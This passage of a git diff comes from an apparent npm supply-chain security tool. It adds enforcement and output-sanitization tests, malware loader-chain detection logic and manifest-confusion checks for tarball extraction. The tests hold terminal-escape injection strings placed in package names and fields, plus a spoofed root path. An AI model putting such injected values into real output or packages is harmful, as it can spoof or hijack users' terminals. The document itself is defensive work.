node/v16", "npm/10.8.2 node/v24 darwin arm64", "npm/11.20.0 node/v24"]) assert.doesNotThrow(() => gate(ua), ua); + }); + test("refuses npm 6 and earlier, other clients, and a missing or malformed user agent", () => { + for (const ua of ["npm/6.14.18 node/v14", "npm/5.0.0", "yarn/1.22.19 npm/? node/v20", "pnpm/9.0.0 npm/? node/v20", "", undefined, "npm/x", "mynpm/10.0.0", " npm/10.0.0"]) { + assert.throws(() => gate(ua), EnforceError, String(ua)); + } + }); +}); + +describe("F11 enforceNpmEnv pins SENTINEL_ROOT to the realpath of the install cwd", () => { + test("sets SENTINEL_ROOT and overrides a pre-set value", () => { + const env = enforceNpmEnv({ SENTINEL_ROOT: "/attacker" }, { proxy: "p", wrapperPath: "w", approve: [] }); + assert.equal(env.SENTINEL_ROOT, realpathSync(process.cwd())); + }); +}); + +// End-to-end through the real wrapper: a stub proxy serves the manifest; the wrapper must refuse +// (exit 70, command never run) unless the package identity is bound to the audited bytes. +const sandboxWorks = (() => { + if (process.platform === "darwin") return true; + if (process.platform !== "linux") return false; + const r = spawnSync("bwrap", ["--ro-bind", "/", "/", "--dev", "/dev", "true"], { encoding: "utf8" }); + return !r.error && r.status === 0; +})(); + +describe("F11 script-shell (e2e, real wrapper)", () => { + let server: Server; let proxy: string; + before(async () => { + server = createServer((req, res) => { + if (req.url?.includes("evil")) { res.statusCode = 404; res.end("no"); return; } + res.setHeader("content-type", "application/json"); + res.end(JSON.stringify(mk(SERVED))); + }); + await new Promise((r) => server.listen(0, "127.0.0.1", r)); + proxy = `http://127.0.0.1:${(server.address() as AddressInfo).port}`; + }); + after(() => server?.close()); + + const runShell = (cwd: string, env: NodeJS.ProcessEnv) => new Promise<{ code: number | null; out: string }>((resolve) => { + const child = spawn("node", ["--import", TSX, SHELL, "-c", "echo ran > marker.txt"], { + cwd, env: { ...process.env, SENTINEL_ENFORCE: "1", npm_config_user_agent: NPM10, ...env }, + }); + let out = ""; + child.stdout.on("data", (d) => { out += d; }); + child.stderr.on("data", (d) => { out += d; }); + child.on("close", (code) => resolve({ code, out })); + }); + const project = () => { + const root = realpathSync(mkdtempSync(join(tmpdir(), "enf-id-"))); + const dep = join(root, "node_modules", "dep"); + mkdirSync(dep, { recursive: true }); + return { root, dep }; + }; + + test("dependency without npm_package_integrity is refused and the command never runs", async () => { + const { root, dep } = project(); + const r = await runShell(dep, { SENTINEL_ROOT: root, SENTINEL_PROXY: proxy, npm_package_name: "dep", npm_package_version: "1.0.0" }); + assert.equal(r.code, 70, r.out); + assert.match(r.out, /integrity/i); + assert.ok(!existsSync(join(dep, "marker.txt"))); + }); + test("a package-declared name/version with a DIFFERENT integrity is refused", async () => { + const { root, dep } = project(); + const r = await runShell(dep, { SENTINEL_ROOT: root, SENTINEL_PROXY: proxy, npm_package_name: "dep", npm_package_version: "1.0.0", npm_package_integrity: OTHER }); + assert.equal(r.code, 70, r.out); + assert.ok(!existsSync(join(dep, "marker.txt"))); + }); + test("a nested npm's script outside node_modules (INIT_CWD reset to it) is NOT treated as root", async () => { + const { root } = project(); + const gitDep = realpathSync(mkdtempSync(join(tmpdir(), "enf-gitdep-"))); + const r = await runShell(gitDep, { SENTINEL_ROOT: root, INIT_CWD: gitDep, SENTINEL_APPROVE: "" }); + assert.equal(r.code, 70, r.out); + assert.ok(!existsSync(join(gitDep, "marker.txt")), "the script must not have run with root approvals"); + }); + test("with SENTINEL_ROOT missing, even a cwd equal to INIT_CWD is NOT root (fail closed)", async () => { + const gitDep = realpathSync(mkdtempSync(join(tmpdir(), "enf-noroot-"))); + const r = await runShell(gitDep, { INIT_CWD: gitDep }); + assert.equal(r.code, 70, r.out); + assert.ok(!existsSync(join(gitDep, "marker.txt"))); + }); + const depEnv = (root: string) => ({ SENTINEL_ROOT: root, SENTINEL_PROXY: proxy, npm_package_name: "dep", npm_package_version: "1.0.0", npm_package_integrity: SERVED }); + for (const ua of ["npm/6.14.18 node/v14.0.0", "", "yarn/1.22.19 npm/? node/v20.0.0"]) { + test(`dependency script under user agent ${JSON.stringify(ua)} is refused even with a matching integrity`, async () => { + const { root, dep } = project(); + const r = await runShell(dep, { ...depEnv(root), npm_config_user_agent: ua }); + assert.equal(r.code, 70, r.out); + assert.match(r.out, /npm >= 7/i); + assert.ok(!existsSync(join(dep, "marker.txt"))); + }); + } + test("the root project's own script does not depend on the user agent", { skip: sandboxWorks ? false : "requires a working sandbox" }, async () => { + const { root } = project(); + const r = await runShell(root, { SENTINEL_ROOT: root, npm_config_user_agent: "" }); + assert.equal(r.code, 0, r.out); + }); + test("error output never carries package-controlled terminal escapes", async () => { + const { root, dep } = project(); + const r = await runShell(dep, { SENTINEL_ROOT: root, SENTINEL_PROXY: proxy, npm_package_name: "evil\x1b]0;pwned\x07\x1b[2J", npm_package_version: "1.0.0\x1b[31m", npm_package_integrity: SERVED }); + assert.equal(r.code, 70, r.out); + assert.match(r.out, /evil/, "the (sanitized) name is still shown"); + for (const bad of ["\x07", "\x1b]", "[2J", "1.0.0\x1b"]) assert.ok(!r.out.includes(bad), JSON.stringify(bad)); + }); + test("positive control: matching integrity runs the script under the sandbox", { skip: sandboxWorks ? false : "requires a working sandbox" }, async () => { + const { root, dep } = project(); + const r = await runShell(dep, { SENTINEL_ROOT: root, SENTINEL_PROXY: proxy, npm_package_name: "dep", npm_package_version: "1.0.0", npm_package_integrity: SERVED }); + assert.equal(r.code, 0, r.out); + assert.ok(existsSync(join(dep, "marker.txt"))); + }); + test("positive control: the root project's own script (cwd === SENTINEL_ROOT) still runs", { skip: sandboxWorks ? false : "requires a working sandbox" }, async () => { + const { root } = project(); + const r = await runShell(root, { SENTINEL_ROOT: root, INIT_CWD: root }); + assert.equal(r.code, 0, r.out); + assert.ok(existsSync(join(root, "marker.txt"))); + }); +}); diff --git a/packages/cli/test/security-output.test.ts b/packages/cli/test/security-output.test.ts new file mode 100644 index 0000000..83557ca --- /dev/null +++ b/packages/cli/test/security-output.test.ts @@ -0,0 +1,93 @@ +import assert from "node:assert/strict"; +import { execFile } from "node:child_process"; +import { mkdirSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from "node:fs"; +import { homedir } from "node:os"; +import { dirname, join } from "node:path"; +import { fileURLToPath } from "node:url"; +import { promisify } from "node:util"; +import { describe, test } from "node:test"; +import { + formatReport, formatManifest, formatTree, formatViolations, formatStats, formatHistory, formatExplain, formatLint, formatPreview, + sanitizeTerminal, +} from "../src/format.js"; + +const pexec = promisify(execFile); +const CLI = join(dirname(fileURLToPath(import.meta.url)), "..", "dist", "index.js"); + +// OSC title set, CSI clear screen, C1 CSI, carriage return (overwrites the line), backspace, bell. +const EVIL = "pwn\x1b]0;owned\x07\x1b[2J\x9b31m\rspoof\x08\x07\x1b(B!"; +// Our own SGR colour codes are legitimate; anything else non-printable must be gone. +const unsafe = (out: string) => out.replace(/\x1b\[[0-9;]*m/g, "").match(/[\x00-\x08\x0b-\x1f\x7f-\x9f]/); + +describe("sanitizeTerminal", () => { + test("strips ESC sequences, C0 (except \\n and \\t) and C1 controls", () => { + assert.equal(sanitizeTerminal(EVIL), "pwnspoof!"); + assert.equal(sanitizeTerminal("a\tb\nc"), "a\tb\nc"); + assert.equal(sanitizeTerminal("\x1b[31mred\x1b[0m"), "red"); + assert.equal(sanitizeTerminal("\x1b]8;;http://evil\x1b\\link\x1b]8;;\x1b\\"), "link"); + assert.equal(sanitizeTerminal("\x1bPdcs payload\x1b\\ok"), "ok"); + assert.equal(sanitizeTerminal("plain text ✓ ünïcode"), "plain text ✓ ünïcode"); + }); +}); + +describe("every formatter neutralizes package- and proxy-controlled strings", () => { + test("formatReport", () => { + const out = formatReport({ + meta: { name: EVIL, version: EVIL, author: EVIL, unpackedSize: 1, fileCount: 1, signature: "verified", provenance: "verified", + provenanceIdentity: { builder: EVIL, sourceRepository: EVIL, ref: EVIL, commit: EVIL }, hasInstallScripts: false }, + engine: { mode: "full", rules: [], version: EVIL }, score: 50, verdict: "warn", llmSummary: EVIL, + findings: [{ ruleId: EVIL, severity: "high", message: EVIL, evidence: [{ file: EVIL, line: 1, snippet: EVIL }] }], + } as never); + assert.equal(unsafe(out), null, JSON.stringify(out)); + assert.match(out, /pwnspoof!/); + }); + test("formatManifest", () => { + const cap = { kind: "network", target: EVIL, evidence: [] }; + const out = formatManifest({ meta: { name: EVIL, version: EVIL, integrity: "x" }, verdict: EVIL, approvalState: EVIL, + capabilities: [cap], approvalRequired: [cap], inheritedFrom: EVIL } as never); + assert.equal(unsafe(out), null, JSON.stringify(out)); + }); + test("formatTree", () => { + const out = formatTree({ aggregate: { verdict: "block", gated: true, counts: { allow: 0, warn: 0, block: 1, error: 0 }, + provenance: { verified: 0, invalid: 0, absent: 1, unknown: 0 }, integrityMismatch: 0 }, + packages: [{ name: EVIL, version: EVIL, status: "block", score: 1, topFinding: EVIL, topFindingRuleId: null, error: EVIL, + provenance: "absent", integrityMismatch: false }] } as never); + assert.equal(unsafe(out), null, JSON.stringify(out)); + }); + test("formatViolations", () => { + const out = formatViolations([{ name: EVIL, version: EVIL, kind: EVIL, target: EVIL, confidence: EVIL, quarantined: false, + evidence: { exitCode: 1, stderrExcerpt: EVIL } }]); + assert.equal(unsafe(out), null, JSON.stringify(out)); + }); + test("formatStats and formatHistory", () => { + assert.equal(unsafe(formatStats({ summary: { total: 1, verdict: { allow: 1, warn: 0, block: 0 }, violations: 0, quarantined: 0 }, + trends: [{ date: EVIL, allow: 1, warn: 0, block: 0 }], topFlagged: [{ name: EVIL, warn: 1, block: 0 }] })), null); + assert.equal(unsafe(formatHistory([{ name: EVIL, version: EVIL, verdict: EVIL, score: 1, topFinding: EVIL, auditedAt: EVIL }])), null); + }); + test("formatExplain, formatLint and formatPreview", () => { + assert.equal(unsafe(formatExplain({ + report: { meta: { name: EVIL, version: EVIL }, verdict: "block", score: 1 }, + remediation: { guidance: EVIL, items: [{ ruleId: EVIL, severity: EVIL, summary: EVIL, action: EVIL }], waiver: { approveCommand: EVIL } }, + lastKnownGood: { version: EVIL, score: 1 }, + } as never)), null); + assert.equal(unsafe(formatLint({ errors: [{ code: EVIL, message: EVIL }], warnings: [{ code: EVIL, message: EVIL }] } as never)), null); + assert.equal(unsafe(formatPreview({ enabled: true, total: 1, transitions: { [EVIL]: 1 }, + changed: [{ name: EVIL, version: EVIL, from: EVIL, to: EVIL, fromScore: 1, toScore: 2 }] })), null); + }); +}); + +describe("sentinel run-scripts", { skip: process.platform !== "darwin" }, () => { + // Under $HOME (not the writable tmp floor) a relative package dir used to produce a profile that + // granted the wrong path, so the script could not write its own directory. + test("accepts a relative package directory (resolved against the cwd)", async () => { + const root = mkdtempSync(join(homedir(), ".sentinel-relpath-")); + try { + mkdirSync(join(root, "pkg")); + writeFileSync(join(root, "pkg", "package.json"), JSON.stringify({ name: "p", version: "1.0.0", + scripts: { postinstall: "node -e \"require('fs').writeFileSync('proof.txt','ok')\"" } })); + const { stdout } = await pexec(process.execPath, [CLI, "run-scripts", "pkg"], { cwd: root }); + assert.match(stdout, /-> exit 0/); + assert.equal(readFileSync(join(root, "pkg", "proof.txt"), "utf8"), "ok"); + } finally { rmSync(root, { recursive: true, force: true }); } + }); +}); diff --git a/packages/core/src/audit.ts b/packages/core/src/audit.ts index 7c9df87..e296a5b 100644 --- a/packages/core/src/audit.ts +++ b/packages/core/src/audit.ts @@ -17,12 +17,16 @@ import type { Finding, PackageFile, PackageMeta, + ProvenanceIdentity, + ProvenanceStatus, ReleaseContext, } from "./types.js"; import type { Advisory } from "./advisory-corpus.js"; import type { VulnAdvisory } from "./vuln-corpus.js"; export const ENGINE_VERSION = "0.1.0-alpha.2"; +/** Bump whenever rule or extraction semantics change: cached and stored audits from another revision are recomputed. */ +export const AUDIT_REVISION = 2; /** Run the heuristic rule pipeline over an already-extracted package. */ export function runRules(input: AuditInput): Finding[] { @@ -63,7 +67,7 @@ export function buildAudit( findings, capabilities, capabilityDelta, - engine: { version: ENGINE_VERSION, rules: RULES.map((r) => r.id), mode: opts.mode }, + engine: { version: ENGINE_VERSION, revision: AUDIT_REVISION, rules: RULES.map((r) => r.id), mode: opts.mode }, auditedAt: new Date().toISOString(), durationMs: opts.durationMs, }; @@ -85,6 +89,11 @@ export interface AuditTarballInput { signingKeys?: NpmSigningKey[]; /** Fetched attestation-endpoint response (acquisition path), or null when unfetchable. */ attestations?: unknown | null; + /** + * A provenance result already verified against these same bytes (a stored audit whose attestation bundle was not + * retained). Used only when no attestations are supplied; never fetched, never from a publisher-controlled field. + */ + provenanceCarryOver?: { status: ProvenanceStatus; identity: ProvenanceIdentity | null }; /** Pinned Sigstore trust material. undefined ⇒ bundled default; null ⇒ none (provenance stays unknown when claimed). */ trustMaterial?: ProvenanceTrustMaterial | null; /** Injectable clock (ISO) for trust-root staleness; defaults to now. */ @@ -138,7 +147,9 @@ export async function runAudit(input: AuditTarballInput): Promise { input.signatures ?? null, input.signingKeys ?? NPM_SIGNING_KEYS, ); - const prov = verifyProvenance({ + const prov = input.provenanceCarryOver && !input.attestations + ? { status: input.provenanceCarryOver.status, identity: input.provenanceCarryOver.identity, rootStale: false } + : verifyProvenance({ name: input.meta.name, version: input.meta.version, integrity: actualIntegrity, @@ -174,7 +185,15 @@ export async function runAudit(input: AuditTarballInput): Promise { if (extracted.truncated) { audit.findings.push({ ruleId: "resource-abuse", category: "resource", severity: "critical", - message: "tarball exceeded extraction limits (unpacked size or file count) — possible decompression bomb; audit truncated", + message: "tarball exceeded extraction limits (unpacked size, file count or nested compression) — possible decompression bomb; audit truncated", + onChangedFile: false, evidence: [], + }); + } + if (extracted.manifestConfusion.length > 0) { + // npm installs the LAST root package.json entry; Sentinel cannot tell which one reaches disk, so fail closed. + audit.findings.push({ + ruleId: "manifest-confusion", category: "metadata", severity: "critical", + message: `package.json cannot be trusted to be the scanned one: ${extracted.manifestConfusion.join("; ")}`, onChangedFile: false, evidence: [], }); } diff --git a/packages/core/src/detect/loader-chain.ts b/packages/core/src/detect/loader-chain.ts index 66671bb..715630f 100644 --- a/packages/core/src/detect/loader-chain.ts +++ b/packages/core/src/detect/loader-chain.ts @@ -1,5 +1,6 @@ import * as acorn from "acorn"; import * as walk from "acorn-walk"; +import { lineLocator } from "../rules/util.js"; export interface LoaderPrimitive { stage: "read" | "decode" | "write" | "launch"; @@ -12,7 +13,9 @@ export interface LoaderPrimitive { readTarget?: string; } export interface LoaderBoosters { tempOrHidden: boolean; chmod: boolean; detached: boolean; unref: boolean; moduleLoad: boolean } -export interface LoaderAnalysis { primitives: LoaderPrimitive[]; correlated: boolean; boosters: LoaderBoosters; parseFailed: boolean } +export interface LoaderAnalysis { primitives: LoaderPrimitive[]; correlated: boolean; boosters: LoaderBoosters; parseFailed: boolean; + /** Stack overflow while parsing or walking (hostile nesting), not a syntax error: the caller must not downgrade a regex chain hit. */ + walkOverflow?: boolean } /** Bounded, deterministic taint tags a variable can carry. */ type Tag = "read" | "decoded" | "written-path"; @@ -49,9 +52,10 @@ function propName(m: any): string | null { if (m.computed) return m.property?.type === "Literal" ? String(m.property.value) : null; return m.property?.type === "Identifier" ? m.property.name : null; } -function lineOf(src: string, pos: number): number { return src.slice(0, pos).split("\n").length; } +/** Snippets keep the first 160 chars; never copy a whole (possibly huge, nested) node to build one. */ +const SNIP_SOURCE_CAP = 4096; function snip(src: string, node: any): string { - const s = src.slice(node.start, node.end).replace(/\s+/g, " "); + const s = src.slice(node.start, Math.min(node.end, node.start + SNIP_SOURCE_CAP)).replace(/\s+/g, " "); return s.length > 160 ? s.slice(0, 159) + "…" : s; } function isScope(n: any): boolean { @@ -77,8 +81,8 @@ export function analyzeLoaderChain(source: string, opts: { moduleLoadReachable?: } catch { try { ast = acorn.parse(source, { ecmaVersion: "latest", sourceType: "script", allowReturnOutsideFunction: true, allowHashBang: true }); - } catch { - return { primitives: [], correlated: false, boosters: { tempOrHidden: false, chmod: false, detached: false, unref: false, moduleLoad: false }, parseFailed: true }; + } catch (e) { + return { primitives: [], correlated: false, boosters: { tempOrHidden: false, chmod: false, detached: false, unref: false, moduleLoad: false }, parseFailed: true, walkOverflow: e instanceof RangeError }; } } @@ -95,7 +99,7 @@ export function analyzeLoaderChain(source: string, opts: { moduleLoadReachable?: // Scopes in which a decode occurred (gate for written-path). const decodeScopes = new Set(); // Structurally-recorded written-path expressions (for inline-repeat launch matching). - const writtenPaths: { node: any; scope: any }[] = []; + const writtenPaths = new Map>(); // structKey → scopes that wrote it const scopeTaint = (s: any): Map> => { let m = taint.get(s); @@ -110,15 +114,21 @@ export function analyzeLoaderChain(source: string, opts: { moduleLoadReachable?: for (const s of chain) { if (taint.get(s)?.has(name)) return s; } return chain[0]; }; + const lineAt = lineLocator(source); // built once; a per-primitive rescan from 0 is quadratic const record = (stage: LoaderPrimitive["stage"], node: any, readTarget?: string) => - primitives.push({ stage, line: lineOf(source, node.start), snippet: snip(source, node), ...(readTarget ? { readTarget } : {}) }); + primitives.push({ stage, line: lineAt(node.start), snippet: snip(source, node), ...(readTarget ? { readTarget } : {}) }); // ---------- module reference resolution ---------- function stripNode(m: string): string { return m.startsWith("node:") ? m.slice(5) : m; } function requireModule(node: any): string | null { if (node?.type === "CallExpression" && node.callee?.type === "Identifier" && node.callee.name === "require" - && node.arguments?.length === 1 && node.arguments[0].type === "Literal" && typeof node.arguments[0].value === "string") { - return stripNode(node.arguments[0].value); + && node.arguments?.length === 1) { + const a = node.arguments[0]; + if (a.type === "Literal" && typeof a.value === "string") return stripNode(a.value); + // require(`fs`): a template literal with no expressions is a static string. + if (a.type === "TemplateLiteral" && a.expressions.length === 0 && typeof a.quasis[0]?.value?.cooked === "string") { + return stripNode(a.quasis[0].value.cooked); + } } return null; } @@ -161,7 +171,7 @@ export function analyzeLoaderChain(source: string, opts: { moduleLoadReachable?: // Buffer.from(, 'base64') → decode if (callee?.type === "MemberExpression" && callee.object?.type === "Identifier" && callee.object.name === "Buffer" && propName(callee) === "from") { const enc = call.arguments?.[1]; - return enc?.type === "Literal" && enc.value === "base64" ? "decode" : null; + return enc?.type === "Literal" && typeof enc.value === "string" && /^base64(?:url)?$/i.test(enc.value) ? "decode" : null; } // atob() → decode (ambient global) if (callee?.type === "Identifier" && callee.name === "atob") return "decode"; @@ -285,38 +295,46 @@ export function analyzeLoaderChain(source: string, opts: { moduleLoadReachable?: const carriesPayload = (tags: Set): boolean => tags.has("read") || tags.has("decoded"); // ---------- structural expression equality (S3, bounded) ---------- - function structEq(a: any, b: any, depth = 0): boolean { - if (!a || !b || depth > 20) return false; - if (a.type !== b.type) return false; - switch (a.type) { - case "Identifier": return a.name === b.name; - case "Literal": return a.value === b.value; - case "MemberExpression": - return a.computed === b.computed && structEq(a.object, b.object, depth + 1) - && (a.computed ? structEq(a.property, b.property, depth + 1) : a.property?.name === b.property?.name); + /** + * Canonical string of an expression's shape: two expressions have the same key + * iff they are structurally equal (node types, names, literal values, member / + * call / template shape) within the depth bound. `null` means never equal to + * anything (unsupported node, regex literal, deeper than 20). Indexing writes + * by this key makes each launch lookup O(1) instead of a scan of every write. + */ + function structKey(n: any, depth = 0): string | null { + if (!n || depth > 20) return null; + switch (n.type) { + case "Identifier": return `I${JSON.stringify(n.name)}`; + case "Literal": { + const v = n.value; + if (v !== null && typeof v === "object") return null; // RegExp: === never equal + return `L${typeof v}${JSON.stringify(String(v))}`; + } + case "MemberExpression": { + const o = structKey(n.object, depth + 1); + const p = n.computed ? structKey(n.property, depth + 1) : `N${JSON.stringify(String(n.property?.name))}`; + return o === null || p === null ? null : `M${n.computed ? 1 : 0}(${o},${p})`; + } case "CallExpression": { - if (!structEq(a.callee, b.callee, depth + 1)) return false; - const aa = a.arguments ?? [], ba = b.arguments ?? []; - return aa.length === ba.length && aa.every((x: any, i: number) => structEq(x, ba[i], depth + 1)); + const parts = [structKey(n.callee, depth + 1), ...(n.arguments ?? []).map((x: any) => structKey(x, depth + 1))]; + return parts.includes(null) ? null : `C(${parts.join(",")})`; } case "TemplateLiteral": { - const aq = a.quasis ?? [], bq = b.quasis ?? []; - if (aq.length !== bq.length || !aq.every((q: any, i: number) => q.value?.cooked === bq[i].value?.cooked)) return false; - const ax = a.expressions ?? [], bx = b.expressions ?? []; - return ax.length === bx.length && ax.every((x: any, i: number) => structEq(x, bx[i], depth + 1)); + const q = (n.quasis ?? []).map((x: any) => JSON.stringify(x.value?.cooked ?? null)); + const e = (n.expressions ?? []).map((x: any) => structKey(x, depth + 1)); + return e.includes(null) ? null : `T(${q.join(",")};${e.join(",")})`; } - default: return false; + default: return null; } } /** Is `target` a written-path? Identifier via scoped taint, or structural match to a visible recorded path. */ function targetIsWrittenPath(target: any, chain: any[]): boolean { if (!target) return false; if (target.type === "Identifier" && lookupTaint(chain, target.name)?.has("written-path")) return true; - for (const w of writtenPaths) { - if (!chain.includes(w.scope)) continue; // visibility: the write scope must enclose the launch - if (structEq(target, w.node)) return true; - } - return false; + const key = structKey(target); + const scopes = key === null ? undefined : writtenPaths.get(key); + return !!scopes && chain.some((s) => scopes.has(s)); // visibility: the write scope must enclose the launch } // ---------- temp/hidden booster ---------- @@ -349,6 +367,9 @@ export function analyzeLoaderChain(source: string, opts: { moduleLoadReachable?: } } + // A hostile file (50k chained members, absurd nesting) can overflow the walker's + // recursion; that must degrade to the parse-failure path, never throw out of the rule. + try { walk.ancestor(ast, { ImportDeclaration(node: any) { if (node.source?.type !== "Literal" || typeof node.source.value !== "string") return; @@ -405,7 +426,8 @@ export function analyzeLoaderChain(source: string, opts: { moduleLoadReachable?: const s = declaringScope(chain, pathArg.name); (scopeTaint(s).get(pathArg.name) ?? scopeTaint(s).set(pathArg.name, new Set()).get(pathArg.name)!).add("written-path"); } else { - writtenPaths.push({ node: pathArg, scope: chain[0] }); + const key = structKey(pathArg); + if (key !== null) (writtenPaths.get(key) ?? writtenPaths.set(key, new Set()).get(key)!).add(chain[0]); } } if (pathArg && isTempOrHidden(pathArg)) boosters.tempOrHidden = true; @@ -453,8 +475,10 @@ export function analyzeLoaderChain(source: string, opts: { moduleLoadReachable?: if (node.callee?.type === "MemberExpression" && propName(node.callee) === "unref") boosters.unref = true; }, }); - boosters.moduleLoad = Boolean(opts.moduleLoadReachable) && topLevelExecution(ast); + } catch (e) { + return { primitives: [], correlated: false, boosters: { tempOrHidden: false, chmod: false, detached: false, unref: false, moduleLoad: false }, parseFailed: true, walkOverflow: e instanceof RangeError }; + } return { primitives, correlated, boosters, parseFailed: false }; } diff --git a/packages/core/src/extract.ts b/packages/core/src/extract.ts index 99449d9..4f35218 100644 --- a/packages/core/src/extract.ts +++ b/packages/core/src/extract.ts @@ -1,14 +1,15 @@ import { createHash } from "node:crypto"; -import { Buffer } from "node:buffer"; +import { Buffer, isUtf8 } from "node:buffer"; +import { posix } from "node:path"; import { createGunzip } from "node:zlib"; import * as tar from "tar"; import type { PackageFile, ContentMismatchEntry } from "./types.js"; import { classifyContent, MAGIC_PREFIX_BYTES } from "./detect/magic.js"; const MAX_FILE_BYTES = 2 * 1024 * 1024; // skip very large files from text scanning -const TEXT_EXT = /\.(c?js|mjs|cjs|ts|mts|cts|jsx|tsx|json|map|sh|txt|md|yml|yaml)$/i; +const TEXT_EXT = /\.(c?js|mjs|cjs|ts|mts|cts|jsx|tsx|json|map|sh|py|pl|rb|txt|md|yml|yaml)$/i; /** Executable code extensions (subset of TEXT_EXT); flagged as unscanned when over MAX_FILE_BYTES. */ -const CODE_EXT = /\.(c?js|mjs|cjs|ts|mts|cts|jsx|tsx)$/i; +const CODE_EXT = /\.(c?js|mjs|cjs|ts|mts|cts|jsx|tsx|py|pl|rb)$/i; /** Native / binary executable extensions; never scanned, flagged as unscanned when present. */ const NATIVE_EXT = /\.(node|wasm|so|dll|dylib|exe)$/i; /** Cap on the unscanned list to bound memory on a pathological many-binary tarball. */ @@ -26,8 +27,17 @@ export interface UnscannedEntry { export interface ExtractResult { files: PackageFile[]; - /** Number of tar entries targeting the npm package manifest path, regardless of entry type. */ + /** + * Number of tar entries that land on the root package.json after npm-style path + * normalization (any first segment, `.`/`//` collapsed, case-insensitive), regardless of entry type. + */ packageManifestEntryCount: number; + /** + * Reasons the root manifest npm would install cannot be trusted to be the one scanned: + * several entries land on it (npm keeps the last), it is case-variant, or it is too large to scan. + * Empty for a normal tarball (and for one with no manifest at all). + */ + manifestConfusion: string[]; unpackedSize: number; fileCount: number; /** True when a cap was hit and extraction was aborted early (ADR-0039). */ @@ -79,6 +89,14 @@ export async function extractTarball( const maxFiles = opts.maxFileCount ?? DEFAULT_MAX_FILE_COUNT; const files: PackageFile[] = []; let packageManifestEntryCount = 0; + let manifestVariant = false; + let manifestOversized = false; + // Case-folded paths of EVERY file entry under the POSIX and the Windows reading of its name. A + // Windows-only path landing on any other entry (retained or not) means one client installs a + // different file than the other. POSIX-only pairs are an ordinary, separate matter. + const posixSeen = new Set(); + const winSeen = new Set(); + let pathCollision = false; const unscanned: UnscannedEntry[] = []; const unscannedTotals = { count: 0, native: 0, bytes: 0 }; const contentMismatch: ContentMismatchEntry[] = []; @@ -106,10 +124,38 @@ export async function extractTarball( entry.resume(); return; } - const normalizedPath = normalize(entry.path); - if (normalizedPath === "package/package.json") packageManifestEntryCount += 1; - const isFile = entry.type === "File"; - if (isFile) fileCount += 1; + // `null` ⇒ npm would not extract it (escapes the root / no name): never retained. + // The POSIX reading (`\` is a filename character, as node-tar does on Linux/macOS) is the retained path. + // node-tar on a win32 audit host already turned `\` into `/` in `entry.path`; the header path (which + // includes a PAX `path`) is still raw, so both readings are derived from it on every host. + let rawPath = entry.path; + // header.path is `prefix/PAXpath` when a PAX path and a ustar prefix are combined, while entry.path is the + // effective PAX path: use the raw header path only when it is the same name before win32 normalization. + // Residual: win32 host + PAX path + ustar prefix still sees the backslash-normalized entry.path. + if (entry.header?.path && entry.header.path.replace(/\\/g, "/") === entry.path) rawPath = entry.header.path; + const normalizedPath = npmPath(rawPath); + // Windows clients read `\` as a separator: an entry lands on the root manifest under EITHER reading. + const winPath = npmPath(rawPath.replace(/\\/g, "/")); + const isManifest = [normalizedPath, winPath].some((x) => x?.toLowerCase() === "package/package.json"); + if (isManifest) { + packageManifestEntryCount += 1; + if (normalizedPath !== "package/package.json") manifestVariant = true; + } + // node-tar reports typeflag 7 as "ContiguousFile" and 0/NUL as "File"/"OldFile"; npm installs all as files. + const isFile = /File$/.test(entry.type); + if (isFile) { + fileCount += 1; + const posixKey = normalizedPath?.toLowerCase() ?? null; + const winKey = winPath !== null && winPath !== normalizedPath ? winPath.toLowerCase() : null; + if (posixKey !== null) { + if (winSeen.has(posixKey)) pathCollision = true; + posixSeen.add(posixKey); + } + if (winKey !== null) { + if (posixSeen.has(winKey) && winKey !== posixKey || winSeen.has(winKey)) pathCollision = true; + winSeen.add(winKey); + } + } const chunks: Buffer[] = []; let bytes = 0; const prefixChunks: Buffer[] = []; @@ -127,26 +173,44 @@ export async function extractTarball( }); entry.on("end", () => { if (truncated || !isFile) return; - const path = normalizedPath; + // A Windows client installs `package\setup.js` as setup.js while POSIX keeps a literal name (or + // drops it): when the readings differ, retain under both so rules see whatever either installs. + const path = normalizedPath ?? winPath; + if (path === null) return; + if (isManifest && bytes > MAX_FILE_BYTES) manifestOversized = true; const cls = classifyContent(Buffer.concat(prefixChunks)); const declaredExt = extOf(path); - const textLooking = TEXT_EXT.test(path); - if (cls.class !== "text" && textLooking) { - // Binary/compressed/archive/ambiguous signature hiding behind a text-looking - // extension → mismatch. Never retained as text; tracked only here. + const buf = bytes <= MAX_FILE_BYTES ? Buffer.concat(chunks) : null; + if (cls.class !== "text" && TEXT_EXT.test(path)) { + // Binary/compressed/archive/ambiguous signature behind a text-looking + // extension → mismatch, always reported. contentMismatchTotals.count += 1; contentMismatchTotals.byKind[cls.kind] = (contentMismatchTotals.byKind[cls.kind] ?? 0) + 1; if (contentMismatch.length < MAX_UNSCANNED) { contentMismatch.push({ path, declaredExt, detectedKind: cls.kind, size: bytes }); } - return; } - if (bytes <= MAX_FILE_BYTES && TEXT_EXT.test(path)) { - const content = Buffer.concat(chunks).toString("utf8"); - const prev = baseline?.get(path); - files.push({ path, content, size: bytes, changed: baseline ? prev !== content : false }); - return; + // Retention is decided under EACH reading: `assets.v1\setup` is extension-less to a Windows + // client but has a dotted basename to POSIX. + const retainable = (p: string): boolean => { + if (!buf) return false; + const textLooking = TEXT_EXT.test(p); + // `MZ:` and `BZh:` are valid JS labels: valid UTF-8 without NUL is still source Node will + // run, so it must stay visible to the rules. Real binaries are tracked as mismatches above. + if (cls.class !== "text" && textLooking) return isUtf8(buf) && !buf.includes(0); + // Extension-less text (`setup`, `bin/run`, `Makefile`) can be named by a script hook; retain it. + const extensionless = !posix.basename(p).includes(".") && cls.class === "text" && !buf.includes(0); + return textLooking || extensionless; + }; + let retained = false; + for (const p of new Set([normalizedPath, winPath])) { + if (p === null || !retainable(p)) continue; + const content = buf!.toString("utf8"); + files.push({ path: p, content, size: bytes, changed: baseline ? baseline.get(p) !== content : false }); + retained = true; } + if (retained) return; + if (cls.class !== "text" && TEXT_EXT.test(path)) return; // a real binary behind a text extension: mismatch only // Not scanned — record executable-looking content so the blind spot isn't silent (#11). const isLargeCode = bytes > MAX_FILE_BYTES && CODE_EXT.test(path); const isNative = NATIVE_EXT.test(path); @@ -179,6 +243,8 @@ export async function extractTarball( // regardless of tar semantics. On a cap breach we destroy() the gunzip, // which halts decompression promptly and bounds CPU/memory. const gunzip = createGunzip(); + let head = Buffer.alloc(0); + let headChecked = false; gunzip.on("data", (chunk: Buffer) => { if (truncated || failure) return; unpackedSize += chunk.length; @@ -187,6 +253,17 @@ export async function extractTarball( gunzip.destroy(); return; } + // The tar 